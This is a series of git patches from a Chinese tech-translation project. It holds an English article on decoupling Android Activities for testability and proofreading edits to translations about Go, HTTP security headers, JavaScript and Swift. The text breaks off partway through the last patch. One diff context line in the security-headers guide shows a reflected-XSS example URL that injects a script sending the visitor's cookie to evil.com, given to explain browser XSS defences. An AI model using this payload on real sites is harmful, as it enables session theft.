From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 17 Apr 2017 23:41:34 +0800
Subject: [PATCH 192/638] Create test-driving-away-coupling-in-activities.md

---
 ...est-driving-away-coupling-in-activities.md | 199 ++++++++++++++++++
 1 file changed, 199 insertions(+)
 create mode 100644 TODO/test-driving-away-coupling-in-activities.md

diff --git a/TODO/test-driving-away-coupling-in-activities.md b/TODO/test-driving-away-coupling-in-activities.md
new file mode 100644
index 00000000000..346204681d7
--- /dev/null
+++ b/TODO/test-driving-away-coupling-in-activities.md
@@ -0,0 +1,199 @@
+> * 原文地址：[Test Driving away Coupling in Activities](https://www.philosophicalhacker.com/post/test-driving-away-coupling-in-activities/)
+> * 原文作者：[philosohacker](https://twitter.com/philosohacker)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Test Driving away Coupling in Activities #
+
+`Activity`s and `Fragment`s, perhaps by [some strange historical accidents](/post/why-android-testing-is-so-hard-historical-edition/), have been seen as *the optimal* building blocks upon which we can build our Android applications for much of the time that Android has been around. Let’s call this idea – the idea that `Activity`s and `Fragment`s are the best building blocks for our apps – “android-centric” architecture.
+
+This series of posts is about the connection between the testability of android-centric architecture and the other problems that are now leading Android developers to reject it; it’s about how our unit tests are trying to tell us that `Activity`s and `Fragment`s – like the cracking bricks in the above image – don’t make the best building blocks for our apps because they tempt us to write code with *tight coupling* and *low cohesion*.
+
+
+[Last time](/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/), we saw `Activity`s and `Fragment`s tend to have low cohesion. This time, we’ll see how our tests can tell us that code within `Activity`s have tight coupling. We’ll also see how test driving the functionality leads to a design that has looser coupling, which makes it easier to change the app and also opens up opportunities for removing duplication. As with the the other posts in the series, we’ll be discussing all of this using the Google I/O app as an example.
+
+### The Target Code ###
+
+The code that we want to test, the “target code”, does the following: when the user navigates to the map view that shows where all the Google I/O sessions are, it asks for their location. If they reject the permission, we show a toast notifying the user that they’ve disabled an app permission. Here’s a screenshot of this:
+
+![permission denied toast](http:/images/permission-denied-toast.png)
+
+Here’s the code that accomplishes this:
+
+```
+@Override
+public void onRequestPermissionsResult(final int requestCode,
+        @NonNull final String[] permissions,
+        @NonNull final int[] grantResults) {
+
+    if (requestCode != REQUEST_LOCATION_PERMISSION) {
+        return;
+    }
+
+    if (permissions.length == 1 &&
+            LOCATION_PERMISSION.equals(permissions[0]) &&
+            grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+        // Permission has been granted.
+        if (mMapFragment != null) {
+            mMapFragment.setMyLocationEnabled(true);
+        }
+    } else {
+        // Permission was denied. Display error message.
+        Toast.makeText(this, R.string.map_permission_denied,
+                Toast.LENGTH_SHORT).show();
+    }
+    super.onRequestPermissionsResult(requestCode, permissions,
+            grantResults);
+}
+```
+
+### The Test Code ### (#the-test-code)
+
+Let’s take a stab at testing this. Here’s what that would look like:
+
+```
+@Test
+public void showsToastIfPermissionIsRejected()
+        throws Exception {
+    MapActivity mapActivity = new MapActivity();
+
+    mapActivity.onRequestPermissionsResult(
+            MapActivity.REQUEST_LOCATION_PERMISSION,
+            new String[]{MapActivity.LOCATION_PERMISSION}, new int[]{
+                    PackageManager.PERMISSION_DENIED});
+
+    assertToastDisplayed();
+}
+```
+
+Hopefully, you’re wondering what the implementation of `assertToastDisplayed()` looks like. Here’s the thing: there isn’t a straight forward implementation of that method. In order to implement without refactoring our code, we’d need to use a combination of roboelectric and powermock.
+
+However, since we are trying to listen to our tests and [change the way we write code, rather than change the way we write tests](/post/why-i-dont-use-roboletric/), we are going to stop for a moment and think about what this test is trying to tell us:
+
+> Our presentation logic that lives inside of `MapActivity` is tightly coupled with `Toast`.
+
+This coupling is what drives us to use roboelectric to give us mocked android behavior and  powermock to mock the static `Toast.makeText` method. Instead, let’s listen to our test and remove the coupling.
+
+To guide our refactoring, let’s write our test first. This will ensure that our *new* classes are loosely coupled. We have to create a new class in this particular case in order to avoid Roboelectric, but ordinarily, we could just refactor already existing classes to reduce coupling.
+
+```
+@Test
+public void displaysErrorWhenPermissionRejected() throws Exception {
+
+    OnPermissionResultListener onPermissionResultListener =
+            new OnPermissionResultListener(mPermittedView);
+
+    onPermissionResultListener.onPermissionResult(
+            MapActivity.REQUEST_LOCATION_PERMISSION,
+            new String[]{MapActivity.LOCATION_PERMISSION},
+            new int[]{PackageManager.PERMISSION_DENIED});
+
+    verify(mPermittedView).displayPermissionDenied();
+}
+```
+
+We’ve introduced a `OnPermissionResultListener` whose job is just to handle the result of request permission from a user. Here’s the code for that:
+
+```
+void onPermissionResult(final int requestCode,
+            final String[] permissions, final int[] grantResults) {
+    if (requestCode != MapActivity.REQUEST_LOCATION_PERMISSION) {
+        return;
+    }
+
+    if (permissions.length == 1 &&
+            MapActivity.LOCATION_PERMISSION.equals(permissions[0]) &&
+            grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+        // Permission has been granted.
+        mPermittedView.displayPermittedView();
+
+    } else {
+        // Permission was denied. Display error message.
+        mPermittedView.displayPermissionDenied();
+    }
+}
+```
+
+The calls to `MapFragment` and `Toast` have been replaced with method calls on the `PermittedView`, an object that gets passed in through the constructor. `PermittedView` is an interface:
+
+```
+interface PermittedView {
+    void displayPermissionDenied();
+
+    void displayPermittedView();
+}
+```
+
+And it gets implemented by the `MapActivity`:
+
+```
+public class MapActivity extends BaseActivity
+        implements SlideableInfoFragment.Callback, MapFragment.Callbacks,
+        ActivityCompat.OnRequestPermissionsResultCallback,
+        OnPermissionResultListener.PermittedView {
+    @Override
+    public void displayPermissionDenied() {
+        Toast.makeText(MapActivity.this, R.string.map_permission_denied,
+                Toast.LENGTH_SHORT).show();
+    }
+}
+```
+
+This may not the *best* solution, but it gets us to a point where we can test things. This *required* that `OnPermissionResultListener` be loosely coupled with its `PermittedView`. Loose coupling == definitely an improvement.
+
+### Who cares? ###
+
+At this point, some readers might be skeptical. “Is this definitely an improvement?,” they may wonder to themselves. Here are two reasons why this *design* is better.
+
+(Neither reason I give, you’ll notice is “the design is better because its testable.” That would be circular reasoning.)
+
+#### Easier Changes ####
+
+First, its going to be easier to change this code now that it consists of loosely coupled components, and here’s the kicker: the code that we’ve just tested from the Google I/O app *actually did change*, and with the tests that we have in place, making those changes will be easier. The code I tested was from [an older commit](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/map/MapActivity.java). Later on, the folks working on the I/O app decided to replace the `Toast` with a `Snackbar`:
+
+![snackbar permission rejected](http：/images/permission-denied-snackbar.png)
+
+Its a small change, but because we’ve separated `OnPermissionResultListener` from `PermittedView`, we can make the change on the `MapActivity`s implementation of `PermittedView` without having to think at all about the `OnPermissionResultListener`.
+
+Here’s what that change would have looked like, using their little `PermissionUtils` class they wrote for displaying `SnackBar`s.
+
+```
+@Override
+public void displayPermissionDenied() {
+    PermissionsUtils.displayConditionalPermissionDenialSnackbar(this,
+            R.string.map_permission_denied, new String[]{LOCATION_PERMISSION},
+            REQUEST_LOCATION_PERMISSION);
+}
+```
+
+Again, notice that we can make this change without thinking about the `OnPermissionResultListener` at all. This is actually exactly what Larry Constantine was talking about when he first defined the concept of coupling back in the 70s:
+
+> what we are striving for is loosely coupled systems…in which one can study (or debug, or maintain) any one module without having to know very much about any other modules in the system
+> 
+> –Edward Yourdon and Larry Constantine, Structured Design
+
+#### Reducing Duplication ####
+
+Here’s another interesting reason to why the fact that our tests have forced us to remove coupling is a good thing: coupling often leads to duplication. Here’s Kent Beck on this:
+
+> Dependency is the key problem in software development at all scales…if dependency is the problem, duplication is the symptom.
+> 
+> -Kent Beck, TDD By Example, pg 7.
+
+If this is true, when we remove coupling, we will often see opportunities to reduce duplication. Indeed, this is precisely what we find in this case. It turns out that there is  another classes whose `onRequestPermissionsResult` is nearly identical to the one in `MapActivity`: [`AccountFragment`](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/welcome/AccountFragment.java#L139). Our tests drove us to create two classes `OnPermissionResultListener` and `PermittedView` that – without much modification – can be reused in these other classes.
+
+### Conclusion ###
+
+So, when we have a hard time testing our `Activity`s and `Fragment`s, its often because our tests are trying to tell us that our code is tightly coupled. The test’s warning about coupling often come in the form of an inability to make an assertion against the code we’re trying to test.1
+
+When we listen to our tests, instead of changing them by using Roboelectric our powermock, we’re lead to change in our code in a way that makes it less coupled, which makes it easier to make changes and opens up opportunities to reduce duplication.
+
+### Notes ###
+
+1. It could also show up as an inability to get your target code into the right state for testing. That’s what we saw [in this post](in this post), for example.
+
+### We're hiring mid-senior Android developers at [Unikey](http://www.unikey.com/). Email me if you want to work for a Startup in the smart lock space in Orlando ###
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 0dbf71b08bba65f45d36a1af644dfc8018e1a4af Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Mon, 17 Apr 2017 23:41:52 +0800
Subject: [PATCH 193/638] Change translation details and add proofreader
 informations

---
 TODO/anatomy-of-a-function-call-in-go.md | 14 +++++++-------
 TODO/go-function-calls-redux.md          |  6 +++---
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/TODO/anatomy-of-a-function-call-in-go.md b/TODO/anatomy-of-a-function-call-in-go.md
index 4fa70afdb03..c5df8c95dab 100644
--- a/TODO/anatomy-of-a-function-call-in-go.md
+++ b/TODO/anatomy-of-a-function-call-in-go.md
@@ -2,11 +2,11 @@
 > * 原文作者：[Phil Pearl](https://syslog.ravelin.com/@philpearl?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[xiaoyusilen](http://xiaoyu.world)
-> * 校对者：[1992chenlu](https://github.com/1992chenlu)
+> * 校对者：[1992chenlu](https://github.com/1992chenlu)，[Zheaoli](https://github.com/Zheaoli)
 
 # 解析 Go 中的函数调用 #
 
-让我们来看一些简单的 Go 的函数，然后看看我们能否明白函数调用是怎么回事。我们将通过分析 Go 编译器根据函数生成的汇编语言来完成这件事。对于一个小小的博客来说这可能有一点野心，但是别担心，汇编语言很简单。哪怕是 CPU 都能读懂。
+让我们来看一些简单的 Go 的函数，然后看看我们能否明白函数调用是怎么回事。我们将通过分析 Go 编译器根据函数生成的汇编来完成这件事。对于一个小小的博客来讲，这样的目标可能有点不切实际，但是别担心，汇编语言很简单。哪怕是 CPU 都能读懂。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*CKK4XrLm3ylzsQzNbOaroQ.png">
 
@@ -20,9 +20,9 @@ func add(a, b int) int {
 }
 ```
 
-我们编译的时候需要关闭优化，这样方便理解每个部分。我们用 `go build -gcflags 'N -l'` 这个命令来完成上述操作。然后我们可以用 `go tool objdump -s main.add func` 输出我们函数的具体细节（这里的 func 是我们的包名，也就是我们刚刚用 go build 编译出的可执行文件）。
+我们编译的时候需要关闭优化，这样方便我们去理解生成的汇编代码。我们用 `go build -gcflags 'N -l'` 这个命令来完成上述操作。然后我们可以用 `go tool objdump -s main.add func` 输出我们函数的具体细节（这里的 func 是我们的包名，也就是我们刚刚用 go build 编译出的可执行文件）。
 
-如果你以前从来没有看过汇编语言，那么恭喜啦，你今天看到的内容对你来说是全新的。我将在 Mac 上完成这些事情，所以配置是 Intel 64位。
+如果你之前没有学过汇编，那么恭喜你，你将接触到一个全新的事物。另外我会在 Mac 上完成这篇博客的代码，因此所生成的是 Intel 64-bit 汇编。
 
 ```
  main.go:20 0x22c0 48c744241800000000 MOVQ $0x0, 0x18(SP)
@@ -33,7 +33,7 @@ func add(a, b int) int {
  main.go:21 0x22db c3   RET
 ```
 
-我们看到了什么？每一行如下所示被分为了4部分：
+现在我们看到了什么？如下所示，每一行被分为了4部分：
 
 - 源文件的名称和行号（main.go:15）。这行的源代码会被转换为标有代码行号的说明。Go 的一行可能被转换成多行程序集。
 - 目标文件中的偏移量（例如 0x22C0）。
@@ -51,8 +51,8 @@ func add(a, b int) int {
 
 现在让我们从第一条指令开始看每一条内容。别忘了我们需要从内存中加载两个参数 `a` 和 `b`，把它们相加，然后返回至调用函数。
 
-1. `MOVQ $0x0, 0x18(SP)` 将 0 置于存储单元 SP+0x18 中。 这句看起来有点神秘。
-2. `MOVQ 0x8(SP), AX` 将存储单元 SP+0x8 中的内容放到 CPU 寄存器 AX 中。也许这就是从内存中加载的我们的参数之一？
+1. `MOVQ $0x0, 0x18(SP)` 将 0 置于存储单元 SP+0x18 中。 这句代码看起来有点抽象。
+2. `MOVQ 0x8(SP), AX` 将存储单元 SP+0x8 中的内容放到 CPU 寄存器 AX 中。也许这就是从内存中加载的我们所使用的参数之一？
 3. `MOVQ 0x10(SP), CX` 将存储单元 SP+0x10 的内容置于 CPU 寄存器 CX 中。 这可能就是我们所需的另一个参数。
 4. `ADDQ CX, AX` 将 CX 与 AX 相加，将结果存到 AX 中。好，现在已经把两个参数相加了。
 5. `MOVQ AX, 0x18(sp)` 将寄存器 AX 的内容存储在存储单元 SP+0x18 中。这就是在存储相加的结果。
diff --git a/TODO/go-function-calls-redux.md b/TODO/go-function-calls-redux.md
index b8717411ff1..dad571a5324 100644
--- a/TODO/go-function-calls-redux.md
+++ b/TODO/go-function-calls-redux.md
@@ -2,13 +2,13 @@
 > * 原文作者：[Phil Pearl](https://hackernoon.com/@philpearl?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[xiaoyusilen](http://xiaoyu.world)
-> * 校对者：[1992chenlu](https://github.com/1992chenlu)
+> * 校对者：[1992chenlu](https://github.com/1992chenlu)，[Zheaoli](https://github.com/Zheaoli)
 
 # Go 函数调用 Redux #
 
-前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和调用堆栈在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容，所以有了现在这篇文章。
+前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和堆栈调用在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容，所以有了现在这篇文章。
 
-什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
+什么是堆栈调用？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
 
 下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 `f3()` 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `local` 在栈内，所以输出的就是栈。
 

From c0c66b4c26a1b06011085d66adc994db9a6a700d Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Tue, 18 Apr 2017 00:00:52 +0800
Subject: [PATCH 194/638] proofreading

---
 TODO/secure-web-app-http-headers.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index 5311d35ff7a..b707e2397a9 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -6,7 +6,7 @@
 
 ## 如何使用 HTTP Headers 来保护你的 Web 应用 ##
 
-众所周知，无论是简单的小网页还是复杂的单页应用，Web 应用都是网络攻击的目标。2016年，这种最主要的攻击模式 —— 攻击 web 应用，造成了大约 [40% 的数据泄露](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/)。事实上，现在来说，了解网络安全并不是锦上添花， 而是 **Web 开发者的必需任务**，特别对于构建面向消费者的产品的开发人员。
+众所周知，无论是简单的小网页还是复杂的单页应用，Web 应用都是网络攻击的目标。2016 年，这种最主要的攻击模式 —— 攻击 web 应用，造成了大约 [40% 的数据泄露](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/)。事实上，现在来说，了解网络安全并不是锦上添花，而是 **Web 开发者的必需任务**，特别对于构建面向消费者的产品的开发人员。
 
 开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将介绍 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但基本所有主流的服务端语言都支持设置 HTTP 响应头，并且都可以简单地对其进行配置。
 
@@ -85,7 +85,7 @@ HSTS 的指令如下：
 
 这是一个强大的指令，强制浏览器**始终**安全加载你的 web 应用程序，即使是第一次收到响应之前加载！这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的。要启用预加载功能，你需要在 Google Chrome 团队维护的网站 [HSTS 预加载列表提交](https://hstspreload.org)注册你的域。
 
-注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并可能更新延迟数个月。虽然预加载肯定会加强应用程序的安全性，但也意味着你需要充分确信你的应用程序可以支持仅 HTTPS！
+注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并可能更新延迟数个月。虽然预加载肯定会加强应用程序的安全性，但也意味着你需要充分确信你的应用程序仅支持 HTTPS！
 
 我建议的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 仅处理 HTTPS 很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。
 
@@ -133,7 +133,7 @@ https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cooki
 
 为了保护用户抵抗反射型 XSS 攻击，有些浏览器实施了保护机制。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击。Internet Explorer 是第一个推出这种机制的，在 2008 年的 IE 8 中引入了 XSS 过滤器的机制，而 WebKit 后来推出了 XSS 审计，现今在 Chrome 和 Safari 上可用（Firefox 没有内置类似的机制，但是用户可以使用插件来获得此功能）。这些保护机制并不完美，它们可能无法检测到真正的 XSS 攻击（漏报），在其他情况可能会阻止合法代码（误判）。由于后一种情况的出现，浏览器允许用户可设置禁用 XSS 过滤功能。不幸的是，这通常是一个全局设置，这会完全关闭所有浏览器加载的 web 应用程序的安全功能。
 
-幸运的是，有方法可以让 web 应用覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。即通过设定 `X-XSS-Protection` 响应头实现。此响应头支持 Internet Explorer （8以上）、Edge、Chrome 和 Safari，指示浏览器打开或关闭内置的保护机制，及覆盖浏览器的本地配置。
+幸运的是，有方法可以让 web 应用覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。即通过设定 `X-XSS-Protection` 响应头实现。此响应头支持 Internet Explorer（IE8 以上）、Edge、Chrome 和 Safari，指示浏览器打开或关闭内置的保护机制，及覆盖浏览器的本地配置。
 
 `X-XSS-Protection` 指令包括:
 
@@ -240,7 +240,7 @@ function requestHandler(req, res){
 
 （**声明：** 此文内容仅属本人，不代表本人过去或现在的雇主。）
 
-（首页图片版权：[Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/)）
+（*首页图片版权：[Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/)*）
 
 ---
 

From 1fba728673fc69cb7643ed72479e836dbbee3993 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 18 Apr 2017 00:06:54 +0800
Subject: [PATCH 195/638] Update test-driving-away-coupling-in-activities.md

---
 TODO/test-driving-away-coupling-in-activities.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/test-driving-away-coupling-in-activities.md b/TODO/test-driving-away-coupling-in-activities.md
index 346204681d7..08f1be8ce0b 100644
--- a/TODO/test-driving-away-coupling-in-activities.md
+++ b/TODO/test-driving-away-coupling-in-activities.md
@@ -17,7 +17,7 @@ This series of posts is about the connection between the testability of android-
 
 The code that we want to test, the “target code”, does the following: when the user navigates to the map view that shows where all the Google I/O sessions are, it asks for their location. If they reject the permission, we show a toast notifying the user that they’ve disabled an app permission. Here’s a screenshot of this:
 
-![permission denied toast](http:/images/permission-denied-toast.png)
+![permission denied toast](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)
 
 Here’s the code that accomplishes this:
 

From 2436dc189648bd8ee4da0d52a5c25658a4a65b2d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <472285740@qq.com>
Date: Tue, 18 Apr 2017 00:14:43 +0800
Subject: [PATCH 196/638] Update reduce-composing-software.md

---
 TODO/reduce-composing-software.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/TODO/reduce-composing-software.md b/TODO/reduce-composing-software.md
index 105de0e11cd..cca0df6dc06 100644
--- a/TODO/reduce-composing-software.md
+++ b/TODO/reduce-composing-software.md
@@ -10,7 +10,6 @@
 
 Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
-
 > 注意：这是 “软件编写” 系列文章的第五部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
 > > [<上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)
 

From a385e2c522490a3db7a771f8aa79ca31dea5d61c Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Tue, 18 Apr 2017 00:15:43 +0800
Subject: [PATCH 197/638] Change link

---
 ...functional-programming-in-javascript-composing-software.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/why-learn-functional-programming-in-javascript-composing-software.md b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
index 1a9327f182e..5041f58d8a9 100644
--- a/TODO/why-learn-functional-programming-in-javascript-composing-software.md
+++ b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
@@ -10,7 +10,7 @@
 
 烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
 > 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 撰写软件的第二部分。保持关注，接下来还有很多！
->  [从第一部分开始](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [接下来的 >](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)
+>  [第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [第三篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)
 
 忘掉你认为知道的关于 JavaScript 的一切，用初学者的眼光去看待它。为了帮助你做到这一点，我们将会从头复习一下 JavaScript 的基础，就像你与其尚未谋面一样。如果你是初学者，那你就很幸运了。最终从零开始探索 ES6 和函数式编程！希望所有的概念都被解释清楚 — 但不要太依赖于此。
 
@@ -135,7 +135,7 @@ JavaScript 的真正优势在于其生态系统中的思想和用户的多样性
 
 App 正在吞食世界， web 正在吞食 app， 同时 JavaScript 正在吞食 web。
 
-[**接下来的第三部分: 函数式开发者的 JavScript 介绍…**](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)
+[**第三篇: 函数式开发者的 JavScript 介绍…**](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)
 
 ### 下一步
 

From 956262e0ac2ba85412a0d0f01ef753a35f6fcb4f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <472285740@qq.com>
Date: Tue, 18 Apr 2017 00:36:12 +0800
Subject: [PATCH 198/638] Update functors-categories.md

---
 TODO/functors-categories.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/functors-categories.md b/TODO/functors-categories.md
index 415e65251b8..d5567de71f7 100644
--- a/TODO/functors-categories.md
+++ b/TODO/functors-categories.md
@@ -4,7 +4,7 @@
 > * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)
 > * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)
 
-# Functor 与 Category （软件编写）（第六部分）#
+# Functor 与 Category （软件编写）（第六部分）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 

From f66b527cad814c8c38f806b2608cdaf778da2d30 Mon Sep 17 00:00:00 2001
From: Tuccuay <i@tuccuay.com>
Date: Tue, 18 Apr 2017 00:41:00 +0800
Subject: [PATCH 199/638] fix typo @sqrthree

---
 TODO/mastering-swift-essential-details-about-strings.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/mastering-swift-essential-details-about-strings.md b/TODO/mastering-swift-essential-details-about-strings.md
index 14cd30aa1a8..2d1e881bec3 100644
--- a/TODO/mastering-swift-essential-details-about-strings.md
+++ b/TODO/mastering-swift-essential-details-about-strings.md
@@ -2,7 +2,7 @@
 * 原文作者：[Dmitri Pavlutin](https://rainsoft.io/author/dmitri-pavlutin/)
 * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 * 译者：[Tuccuay](https://www.tuccuay.com)
-* 校对者：[oOatuo](https://github.com/atuooo)
+* 校对者：[oOatuo](https://github.com/atuooo) , [lsvih](https://github.com/lsvih)
 
 
 # 掌握 Swift 的字符串细节
@@ -72,7 +72,7 @@ print(capitalHCharacter == firstCharacter) // => true
 
 在 Unicode 标准中，`H` 代表 *Latin Capital letter H* (拉丁文大写字母 H)，码位是 `U+0048`。
 
-让我们掠过 ASCII 看看 Swift 如何处理更复杂的符号。这些字符被渲染成单个视觉符号，但实际上是由两个或更多个 Unicode 标量](http://unicode.org/glossary/#unicode_scalar_value) 组成。严格来说这些字符被称为 **字形簇**
+让我们掠过 ASCII 看看 Swift 如何处理更复杂的符号。这些字符被渲染成单个视觉符号，但实际上是由两个或更多个 [Unicode 标量](http://unicode.org/glossary/#unicode_scalar_value) 组成。严格来说这些字符被称为 **字形簇**
 
 *Important*: `CharacterView` is a collection of grapheme clusters of the string.
 **重点**： `CharacterView` 是字符串的字形簇集合。

From af25effb6ebcdd98f0067a9a2f687cd984634bc3 Mon Sep 17 00:00:00 2001
From: Tuccuay <i@tuccuay.com>
Date: Tue, 18 Apr 2017 10:02:50 +0800
Subject: [PATCH 200/638] remove some

---
 TODO/mastering-swift-essential-details-about-strings.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/TODO/mastering-swift-essential-details-about-strings.md b/TODO/mastering-swift-essential-details-about-strings.md
index 2d1e881bec3..02b88bc5148 100644
--- a/TODO/mastering-swift-essential-details-about-strings.md
+++ b/TODO/mastering-swift-essential-details-about-strings.md
@@ -74,7 +74,6 @@ print(capitalHCharacter == firstCharacter) // => true
 
 让我们掠过 ASCII 看看 Swift 如何处理更复杂的符号。这些字符被渲染成单个视觉符号，但实际上是由两个或更多个 [Unicode 标量](http://unicode.org/glossary/#unicode_scalar_value) 组成。严格来说这些字符被称为 **字形簇**
 
-*Important*: `CharacterView` is a collection of grapheme clusters of the string.
 **重点**： `CharacterView` 是字符串的字形簇集合。
 
 让我们看看 `ç` 的字形。他可以有两种表现形式：

From dd9c1f84f209b6c103ace33506e8d37d4aec15c8 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Tue, 18 Apr 2017 11:02:55 +0800
Subject: [PATCH 201/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...uction-to-javascript-composing-software.md | 38 +++++++++----------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md b/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
index af7eb6680c1..761d5e5c400 100644
--- a/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
+++ b/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
